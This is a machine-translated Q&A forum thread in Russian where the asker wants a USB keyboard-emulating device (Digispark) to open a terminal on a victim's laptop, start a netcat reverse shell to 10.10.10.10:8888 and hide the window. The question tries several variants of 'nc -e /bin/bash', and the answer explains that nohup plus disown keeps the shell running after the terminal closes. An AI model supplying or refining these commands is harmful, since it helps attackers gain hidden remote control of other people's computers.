Скрыть терминал обратной оболочки без экрана - PullRequest
0 голосов
/ 09 мая 2020

СЦЕНАРИЙ: злоумышленник вставляет в ноутбук жертвы USB-порт, который действует как клавиатура. Полезная нагрузка открывает терминал, выполняет обратную оболочку и скрывает терминал.

ПРОБЛЕМА: тесты, которые я проводил локально (ubuntu 19.04 и digispark как usb), следующие:

ONE

терминал A nc -e /bin/bash 10.10.10.10 8888

терминал B nc -vlp 8888

Все работает, у меня shell с подсказкой на терминале B, но терминал A не скрыт. Тогда он в данном случае бесполезен.

ДВА

клемма A nc -e /bin/bash 10.10.10.10 8888&; disown; exit

клемма B nc -vlp 8888

клемма B просто зависает, а терминал A скрыт. Бесполезно.

ТРИ

клемма A nohup nc -e /bin/bash 10.10.10.10 8888&; exit

клемма B nc -vlp 8888

клемма B просто зависает, а клемма A скрыт

ЧЕТЫРЕ

терминал A: я открываю screen, затем выполняю nc -e /bin/bash 10.10.10.10 8888, CTRL^A, затем d и, наконец, exit.

терминал B nc -vlp 8888

с использованием screen все работает (терминал B получает рабочую оболочку, а терминал A не виден), но я не хочу использовать экран, потому что это не так установлено по умолчанию.

ВОПРОС: есть ли способ ( с использованием предустановленных инструментов ) скрыть терминал без screen, но с тем же эффектом?

1 Ответ

1 голос
/ 09 мая 2020
nohup nc ...&; disown; exit

После выхода из оболочки терминал либо выйдет из системы, либо завершится (в зависимости от того, какой это терминал), и отправит сигнал SIGHUP контролирующей группе процессов, что приведет к выходу n c.

Использование nohup отключается от терминала и запускает nc в своей собственной группе процессов (так что он больше не будет в группе процессов управления терминала), поэтому SIGHUP не будет отправляться ему.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...